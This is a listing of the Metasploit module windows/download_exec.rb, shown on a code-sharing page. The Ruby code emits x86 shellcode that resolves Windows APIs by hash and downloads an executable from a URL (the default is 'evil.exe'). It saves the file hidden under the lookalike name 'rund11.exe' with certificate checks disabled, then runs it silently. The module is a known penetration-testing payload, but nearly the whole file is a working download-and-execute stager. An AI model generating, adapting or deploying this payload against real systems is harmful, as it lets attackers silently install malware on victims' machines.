CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/download_exec.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
8
CachedSize = 423
9
10
include Msf::Payload::Windows
11
include Msf::Payload::Single
12
13
def initialize(info = {})
14
super(merge_info(info,
15
'Name' => 'Windows Executable Download (http,https,ftp) and Execute',
16
'Description' => 'Download an EXE from an HTTP(S)/FTP URL and execute it',
17
'Author' =>
18
[
19
'corelanc0d3r <peter.ve[at]corelan.be>'
20
],
21
'License' => MSF_LICENSE,
22
'Platform' => 'win',
23
'Arch' => ARCH_X86
24
))
25
26
# Register command execution options
27
register_options(
28
[
29
OptString.new('URL', [true, "The pre-encoded URL to the executable" ,"https://localhost:443/evil.exe"]),
30
OptString.new('EXE', [ true, "Filename to save & run executable on target system", "rund11.exe" ])
31
])
32
end
33
34
#
35
# Construct the payload
36
#
37
def generate(_opts = {})
38
39
target_uri = datastore['URL'] || ""
40
filename = datastore['EXE'] || ""
41
proto = "https"
42
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
43
#;0x80000000 | ; INTERNET_FLAG_RELOAD
44
#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
45
#;0x00800000 | ; INTERNET_FLAG_SECURE
46
#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
47
#;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
48
#;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
49
#;0x00000200 ; INTERNET_FLAG_NO_UI"
50
51
exitfuncs = {
52
"PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess
53
"THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread
54
"SEH" => 0x00000000, #we don't care
55
"NONE" => 0x00000000 #we don't care
56
}
57
58
protoflags = {
59
"http" => 0x3,
60
"https" => 0x3,
61
"ftp" => 0x1
62
}
63
64
exitfunc = datastore['EXITFUNC'].upcase
65
66
if exitfuncs[exitfunc]
67
exitasm = case exitfunc
68
when "SEH" then "xor eax,eax\ncall eax"
69
when "NONE" then "jmp end" # don't want to load user32.dll for GetLastError
70
else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]
71
end
72
end
73
74
# parse URL and break it down in
75
# - remote host
76
# - port
77
# - /path/to/file
78
79
server_uri = ''
80
server_host = ''
81
port_nr = 443 # default
82
83
if target_uri.length > 0
84
85
# get desired protocol
86
if target_uri =~ /^http:/
87
proto = "http"
88
port_nr = 80
89
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
90
#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
91
end
92
93
if target_uri =~ /^ftp:/
94
proto = "ftp"
95
port_nr = 21
96
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
97
end
98
99
# sanitize the input
100
target_uri = target_uri.gsub('http://','') #don't care about protocol
101
target_uri = target_uri.gsub('https://','') #don't care about protocol
102
target_uri = target_uri.gsub('ftp://','') #don't care about protocol
103
104
server_info = target_uri.split("/")
105
106
# did user specify a port ?
107
server_parts = server_info[0].split(":")
108
if server_parts.length > 1
109
port_nr = Integer(server_parts[1])
110
end
111
112
# actual target host
113
server_host = server_parts[0]
114
115
# get /path/to/remote/exe
116
117
for i in (1..server_info.length-1)
118
server_uri << "/"
119
server_uri << server_info[i]
120
end
121
122
end
123
124
# get protocol specific stuff
125
126
#create actual payload
127
payload_data = <<EOS
128
cld
129
call start
130
; Stephen Fewer's block_api
131
; block_api code (Stephen Fewer)
132
api_call:
133
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
134
mov ebp, esp ; Create a new stack frame
135
xor edx, edx ; Zero EDX
136
mov edx, fs:[edx+48] ; Get a pointer to the PEB
137
mov edx, [edx+12] ; Get PEB->Ldr
138
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
139
next_mod:
140
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
141
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
142
xor edi, edi ; Clear EDI which will store the hash of the module name
143
loop_modname: ;
144
xor eax, eax ; Clear EAX
145
lodsb ; Read in the next byte of the name
146
cmp al, 'a' ; Some versions of Windows use lower case module names
147
jl not_lowercase ;
148
sub al, 0x20 ; If so normalise to uppercase
149
not_lowercase: ;
150
ror edi, 13 ; Rotate right our hash value
151
add edi, eax ; Add the next byte of the name
152
loop loop_modname ; Loop until we have read enough
153
; We now have the module hash computed
154
push edx ; Save the current position in the module list for later
155
push edi ; Save the current module hash for later
156
; Proceed to iterate the export address table,
157
mov edx, [edx+16] ; Get this modules base address
158
mov eax, [edx+60] ; Get PE header
159
add eax, edx ; Add the modules base address
160
mov eax, [eax+120] ; Get export tables RVA
161
test eax, eax ; Test if no export address table is present
162
jz get_next_mod1 ; If no EAT present, process the next module
163
add eax, edx ; Add the modules base address
164
push eax ; Save the current modules EAT
165
mov ecx, [eax+24] ; Get the number of function names
166
mov ebx, [eax+32] ; Get the rva of the function names
167
add ebx, edx ; Add the modules base address
168
; Computing the module hash + function hash
169
get_next_func: ;
170
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
171
dec ecx ; Decrement the function name counter
172
mov esi, [ebx+ecx*4] ; Get rva of next module name
173
add esi, edx ; Add the modules base address
174
xor edi, edi ; Clear EDI which will store the hash of the function name
175
; And compare it to the one we want
176
loop_funcname: ;
177
xor eax, eax ; Clear EAX
178
lodsb ; Read in the next byte of the ASCII function name
179
ror edi, 13 ; Rotate right our hash value
180
add edi, eax ; Add the next byte of the name
181
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
182
jne loop_funcname ; If we have not reached the null terminator, continue
183
add edi, [ebp-8] ; Add the current module hash to the function hash
184
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
185
jnz get_next_func ; Go compute the next function hash if we have not found it
186
; If found, fix up stack, call the function and then value else compute the next one...
187
pop eax ; Restore the current modules EAT
188
mov ebx, [eax+36] ; Get the ordinal table rva
189
add ebx, edx ; Add the modules base address
190
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
191
mov ebx, [eax+28] ; Get the function addresses table rva
192
add ebx, edx ; Add the modules base address
193
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
194
add eax, edx ; Add the modules base address to get the functions actual VA
195
; We now fix up the stack and perform the call to the desired function...
196
finish:
197
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
198
pop ebx ; Clear off the current modules hash
199
pop ebx ; Clear off the current position in the module list
200
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
201
pop ecx ; Pop off the original return address our caller will have pushed
202
pop edx ; Pop off the hash value our caller will have pushed
203
push ecx ; Push back the correct return value
204
jmp eax ; Jump into the required function
205
; We now automagically return to the correct caller...
206
get_next_mod: ;
207
pop eax ; Pop off the current (now the previous) modules EAT
208
get_next_mod1: ;
209
pop edi ; Pop off the current (now the previous) modules hash
210
pop edx ; Restore our position in the module list
211
mov edx, [edx] ; Get the next module
212
jmp.i8 next_mod ; Process this module
213
214
; actual routine
215
start:
216
pop ebp ; get ptr to block_api routine
217
; based on HDM's block_reverse_https.asm
218
load_wininet:
219
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
220
push 0x696e6977 ; ...
221
mov esi, esp ; Save a pointer to wininet
222
push esp ; Push a pointer to the "wininet" string on the stack.
223
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
224
call ebp ; LoadLibraryA( "wininet" )
225
226
internetopen:
227
xor edi,edi
228
push edi ; DWORD dwFlags
229
push edi ; LPCTSTR lpszProxyBypass
230
push edi ; LPCTSTR lpszProxyName
231
push edi ; DWORD dwAccessType (PRECONFIG = 0)
232
push esi ; LPCTSTR lpszAgent ("wininet\x00")
233
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
234
call ebp
235
236
jmp.i8 dbl_get_server_host
237
238
internetconnect:
239
pop ebx ; Save the hostname pointer
240
xor ecx, ecx
241
push ecx ; DWORD_PTR dwContext (NULL)
242
push ecx ; dwFlags
243
push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP)
244
push ecx ; password
245
push ecx ; username
246
push #{port_nr} ; PORT
247
push ebx ; HOSTNAME
248
push eax ; HINTERNET hInternet
249
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
250
call ebp
251
252
jmp.i8 get_server_uri
253
254
httpopenrequest:
255
pop ecx
256
xor edx, edx ; NULL
257
push edx ; dwContext (NULL)
258
#{dwflags_asm} ; dwFlags
259
push edx ; accept types
260
push edx ; referrer
261
push edx ; version
262
push ecx ; url
263
push edx ; method
264
push eax ; hConnection
265
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
266
call ebp
267
mov esi, eax ; hHttpRequest
268
269
set_retry:
270
push 0x10
271
pop ebx
272
273
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
274
set_security_options:
275
push 0x00003380
276
mov eax, esp
277
push 4 ; sizeof(dwFlags)
278
push eax ; &dwFlags
279
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
280
push esi ; hRequest
281
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
282
call ebp
283
284
httpsendrequest:
285
xor edi, edi
286
push edi ; optional length
287
push edi ; optional
288
push edi ; dwHeadersLength
289
push edi ; headers
290
push esi ; hHttpRequest
291
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
292
call ebp
293
test eax,eax
294
jnz create_file
295
296
try_it_again:
297
dec ebx
298
jz thats_all_folks ; failure -> exit
299
jmp.i8 set_security_options
300
301
dbl_get_server_host:
302
jmp get_server_host
303
304
get_server_uri:
305
call httpopenrequest
306
307
server_uri:
308
db "#{server_uri}", 0x00
309
310
create_file:
311
jmp.i8 get_filename
312
313
get_filename_return:
314
xor eax,eax ; zero eax
315
pop edi ; ptr to filename
316
push eax ; hTemplateFile
317
push 2 ; dwFlagsAndAttributes (Hidden)
318
push 2 ; dwCreationDisposition (CREATE_ALWAYS)
319
push eax ; lpSecurityAttributes
320
push 2 ; dwShareMode
321
push 2 ; dwDesiredAccess
322
push edi ; lpFileName
323
push 0x4FDAF6DA ; kernel32.dll!CreateFileA
324
call ebp
325
326
download_prep:
327
xchg eax, ebx ; place the file handle in ebx
328
xor eax,eax ; zero eax
329
mov ax,0x304 ; we'll download 0x300 bytes at a time
330
sub esp,eax ; reserve space on stack
331
332
download_more:
333
push esp ; &bytesRead
334
lea ecx,[esp+0x8] ; target buffer
335
xor eax,eax
336
mov ah,0x03 ; eax => 300
337
push eax ; read length
338
push ecx ; target buffer on stack
339
push esi ; hRequest
340
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
341
call ebp
342
343
test eax,eax ; download failed? (optional?)
344
jz thats_all_folks ; failure -> exit
345
346
pop eax ; how many bytes did we retrieve ?
347
348
test eax,eax ; optional?
349
je close_and_run ; continue until it returns 0
350
351
write_to_file:
352
push 0 ; lpOverLapped
353
push esp ; lpNumberOfBytesWritten
354
push eax ; nNumberOfBytesToWrite
355
lea eax,[esp+0xc] ; get pointer to buffer
356
push eax ; lpBuffer
357
push ebx ; hFile
358
push 0x5BAE572D ; kernel32.dll!WriteFile
359
call ebp
360
sub esp,4 ; set stack back to where it was
361
jmp.i8 download_more
362
363
close_and_run:
364
push ebx
365
push 0x528796C6 ; kernel32.dll!CloseHandle
366
call ebp
367
368
execute_file:
369
push 0 ; don't show
370
push edi ; lpCmdLine
371
push 0x876F8B31 ; kernel32.dll!WinExec
372
call ebp
373
374
thats_all_folks:
375
#{exitasm}
376
377
get_filename:
378
call get_filename_return
379
db "#{filename}",0x00
380
381
get_server_host:
382
call internetconnect
383
384
server_host:
385
db "#{server_host}", 0x00
386
end:
387
EOS
388
self.assembly = payload_data
389
super
390
end
391
end
392
393